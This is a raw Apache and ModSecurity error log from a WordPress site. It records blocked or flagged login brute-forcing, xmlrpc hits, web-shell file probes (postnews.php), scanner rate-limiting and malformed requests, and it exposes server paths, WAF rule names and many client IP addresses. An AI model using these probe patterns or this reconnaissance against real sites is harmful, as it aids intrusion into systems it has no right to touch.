[Fri Nov 14 01:24:06.540429 2025] [autoindex:error] [pid 49246:tid 49260] [client 45.92.229.17:52293] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/lists/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:24:07.033456 2025] [autoindex:error] [pid 49246:tid 49263] [client 45.92.229.17:52293] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:25:18.638271 2025] [autoindex:error] [pid 49246:tid 49267] [client 45.92.229.17:52293] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:25:23.601177 2025] [autoindex:error] [pid 49246:tid 49256] [client 45.92.229.17:52293] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/social-links/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:26:02.761396 2025] [autoindex:error] [pid 49246:tid 49274] [client 45.92.229.17:52293] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/src/Core/Curve25519/Ge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:28:06.447871 2025] [:error] [pid 56495:tid 56523] [client 34.125.116.81:34368] [client 34.125.116.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.125.116.81, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRYVJlwO8wZZL5WJceW_UQAAANg"]
[Fri Nov 14 02:01:26.698912 2025] [:error] [pid 56495:tid 56507] [client 185.199.223.39:54282] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.199.223.39, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRYc9lwO8wZZL5WJceXOngAAAMg"]
[Fri Nov 14 02:38:44.279861 2025] [:error] [pid 56497:tid 56575] [client 184.72.115.35:1994] [client 184.72.115.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 184.72.115.35, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRYltHsatOTNIa5GK3t3VAAAAJQ"]
[Fri Nov 14 06:03:16.028133 2025] [:error] [pid 47156:tid 47216] [client 162.243.186.75:36958] [client 162.243.186.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.243.186.75, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRZVpNjrQX_P-kC7M_7wZwAAAII"]
[Fri Nov 14 06:09:50.034509 2025] [:error] [pid 47154:tid 47182] [client 5.255.231.58:59734] [client 5.255.231.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.255.231.58, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aRZXLkijA13A3g3ATrJx_gAAABc"]
[Fri Nov 14 07:35:58.480163 2025] [:error] [pid 47155:tid 47203] [client 144.126.204.244:59752] [client 144.126.204.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.126.204.244, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRZrXpipxRXMZJH8hmgXrAAAAFE"]
[Fri Nov 14 10:11:35.805417 2025] [proxy_fcgi:error] [pid 47154:tid 47172] [client 57.141.2.28:42696] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2597:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...'
[Fri Nov 14 11:32:58.593302 2025] [:error] [pid 59105:tid 59108] [client 173.249.20.233:59024] [client 173.249.20.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.249.20.233, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRai6rd-anP1JpNfuSL7nQAAAUE"]
[Fri Nov 14 11:37:22.317689 2025] [:error] [pid 47156:tid 47230] [client 192.3.131.111:33992] [client 192.3.131.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.3.131.111, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRaj8tjrQX_P-kC7M_6kZwAAAJA"]
[Fri Nov 14 12:02:22.486722 2025] [:error] [pid 16574:tid 16628] [client 43.157.179.227:44228] [client 43.157.179.227] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aRapzv6XQqe4NqaoE9K3-wAAAJU"]
[Fri Nov 14 12:49:23.621760 2025] [:error] [pid 16574:tid 16625] [client 188.245.205.249:53490] [client 188.245.205.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.205.249, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRa00_6XQqe4NqaoE9LN-AAAAJI"]
[Fri Nov 14 14:00:29.454791 2025] [proxy_fcgi:error] [pid 16573:tid 16593] [client 114.119.138.32:34093] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2602:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...', referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%8B%E0%B8%B7%E0%B9%89%E0%B8%AD%20%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%AA%20%E0%B8%9B%E0%B8%B4%20%E0%B8%99.aspx
[Fri Nov 14 14:02:42.816101 2025] [:error] [pid 16671:tid 16679] [client 203.56.159.38:51449] [client 203.56.159.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.56.159.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRbGAjsoHwEAmeIzZXD58gAAAQI"]
[Fri Nov 14 14:15:47.967671 2025] [proxy_fcgi:error] [pid 16709:tid 16731] [client 114.119.138.32:34101] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2602:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...', referer: https://vetstars.com.au/u31.com%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx
[Fri Nov 14 14:54:06.954875 2025] [:error] [pid 16574:tid 16626] [client 43.155.129.131:36300] [client 43.155.129.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aRbSDv6XQqe4NqaoE9L6IgAAAJM"]
[Fri Nov 14 16:33:27.317184 2025] [:error] [pid 16709:tid 16713] [client 18.119.132.99:40556] [client 18.119.132.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.119.132.99, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRbpV6NdzfVNC4oipLU7KQAAAUI"]
[Fri Nov 14 19:05:51.674170 2025] [:error] [pid 16574:tid 16627] [client 34.226.120.205:51058] [client 34.226.120.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.226.120.205, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRcND_6XQqe4NqaoE9JEIwAAAJQ"]
[Fri Nov 14 20:22:31.490861 2025] [:error] [pid 1170:tid 1196] [client 60.188.57.0:37615] [client 60.188.57.0] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aRcfBw5pkvzCDzzjItRz0QAAABg"]
[Fri Nov 14 20:23:46.606280 2025] [:error] [pid 16709:tid 16733] [client 95.223.75.153:38716] [client 95.223.75.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.223.75.153, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRcfUqNdzfVNC4oipLWQ4gAAAVY"]
[Fri Nov 14 21:43:04.179223 2025] [:error] [pid 16671:tid 16696] [client 51.210.113.223:56246] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.210.113.223, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRcx6DsoHwEAmeIzZXCWjQAAARM"]
[Fri Nov 14 23:01:38.257348 2025] [:error] [pid 16709:tid 16719] [client 34.255.49.147:62439] [client 34.255.49.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.255.49.147, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRdEUqNdzfVNC4oipLXCnQAAAUg"]
[Sat Nov 15 00:09:44.617191 2025] [:error] [pid 16575:tid 16650] [client 207.46.13.17:10709] [client 207.46.13.17] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "82"] [id "210381"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||vetstars.com.au|F|4"] [data "REQUEST_URI=/@\\x01!*%g-\\x15.aspx"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/@\\x01!*%g-\\x15.aspx"] [unique_id "aRdUSO6qT670YxigvbDhOgAAANA"]
[Sat Nov 15 00:22:13.629904 2025] [:error] [pid 45907:tid 45931] [client 31.172.72.12:49970] [client 31.172.72.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.172.72.12, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRdXNVAqmYxCpnT9gJFrggAAAVQ"]
[Sat Nov 15 01:42:53.088719 2025] [:error] [pid 45909:tid 45986] [client 69.57.172.96:42436] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.57.172.96, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRdqHcZqItrYybG86kicwQAAAdU"]
[Sat Nov 15 02:55:47.301921 2025] [:error] [pid 45908:tid 45947] [client 185.203.28.52:34586] [client 185.203.28.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.203.28.52, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRd7M2WG19mWwZX7KauDPAAAAAk"]
[Sat Nov 15 03:09:55.759504 2025] [:error] [pid 18513:tid 18527] [client 222.79.103.59:54281] [client 222.79.103.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aRd-g_c94upQFzRWlUn9xQAAAEk"]
[Sat Nov 15 04:13:58.030017 2025] [:error] [pid 37318:tid 37363] [client 217.160.225.18:37470] [client 217.160.225.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.160.225.18, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aReNhugM1rHoEAqoQDf4lgAAAQE"]
[Sat Nov 15 06:47:00.465658 2025] [:error] [pid 27911:tid 27969] [client 20.218.128.24:45166] [client 20.218.128.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.218.128.24, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRexZMGzUdrhGBIfiKTVcAAAAIE"]
[Sat Nov 15 08:03:14.526319 2025] [:error] [pid 37318:tid 37368] [client 82.223.128.142:38636] [client 82.223.128.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.223.128.142, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRfDQugM1rHoEAqoQDdqkAAAAQY"]
[Sat Nov 15 09:24:39.115113 2025] [:error] [pid 20654:tid 20666] [client 135.235.137.93:58468] [client 135.235.137.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.235.137.93, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRfWV3cS7eC8vO76_yc1aQAAA4k"]
[Sat Nov 15 10:40:28.278992 2025] [:error] [pid 22613:tid 22619] [client 51.159.214.31:35174] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.159.214.31, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRfoHCoyR3cDsIRGPRlsXwAAAgQ"]
[Sat Nov 15 12:00:55.717137 2025] [:error] [pid 20346:tid 20356] [client 158.220.99.49:49612] [client 158.220.99.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 158.220.99.49, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRf6957hsydZdIoVTlvLBgAAAwc"]
[Sat Nov 15 12:09:33.629017 2025] [:error] [pid 27911:tid 27987] [client 138.197.23.42:58149] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aRf8_cGzUdrhGBIfiKQmYgAAAJM"]
[Sat Nov 15 12:09:34.043714 2025] [:error] [pid 22613:tid 22639] [client 138.197.23.42:58333] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aRf8_ioyR3cDsIRGPRl81QAAAhg"]
[Sat Nov 15 12:09:34.461398 2025] [:error] [pid 22613:tid 22624] [client 138.197.23.42:58500] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aRf8_ioyR3cDsIRGPRl83QAAAgk"]
[Sat Nov 15 12:09:34.878014 2025] [:error] [pid 20654:tid 20676] [client 138.197.23.42:58709] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aRf8_ncS7eC8vO76_ydtxgAAA5M"]
[Sat Nov 15 13:12:56.697109 2025] [:error] [pid 19959:tid 19986] [client 139.59.79.159:43684] [client 139.59.79.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.79.159, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRgL2MjejiTUP1-IawOPbAAAAZQ"]
[Sat Nov 15 14:24:36.920768 2025] [:error] [pid 27909:tid 27921] [client 178.33.133.82:48078] [client 178.33.133.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.33.133.82, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRgcpCTfZ6B57n8HepUDdAAAAAg"]
[Sat Nov 15 15:35:29.736561 2025] [:error] [pid 27911:tid 27975] [client 37.60.237.82:35280] [client 37.60.237.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.60.237.82, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRgtQcGzUdrhGBIfiKRHJgAAAIc"]
[Sat Nov 15 16:55:24.548207 2025] [:error] [pid 20654:tid 20663] [client 103.2.226.132:49718] [client 103.2.226.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.2.226.132, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRg__HcS7eC8vO76_yfKIQAAA4Y"]
[Sat Nov 15 18:00:13.042269 2025] [:error] [pid 19961:tid 20012] [client 209.38.229.30:56528] [client 209.38.229.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.38.229.30, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRhPLTar7Si-84EApVRxlwAAAdM"]
[Sat Nov 15 19:16:28.184273 2025] [:error] [pid 20346:tid 20363] [client 94.130.237.27:45962] [client 94.130.237.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.130.237.27, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRhhDJ7hsydZdIoVTltAPAAAAw4"]
[Sat Nov 15 20:16:15.924973 2025] [:error] [pid 27909:tid 27923] [client 45.138.16.215:55410] [client 45.138.16.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/postnews.php"] [unique_id "aRhvDyTfZ6B57n8HepU8WgAAAAo"]
[Sat Nov 15 20:16:16.589208 2025] [:error] [pid 20654:tid 20669] [client 45.138.16.215:55500] [client 45.138.16.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/postnews.php"] [unique_id "aRhvEHcS7eC8vO76_ycGcwAAA4w"]
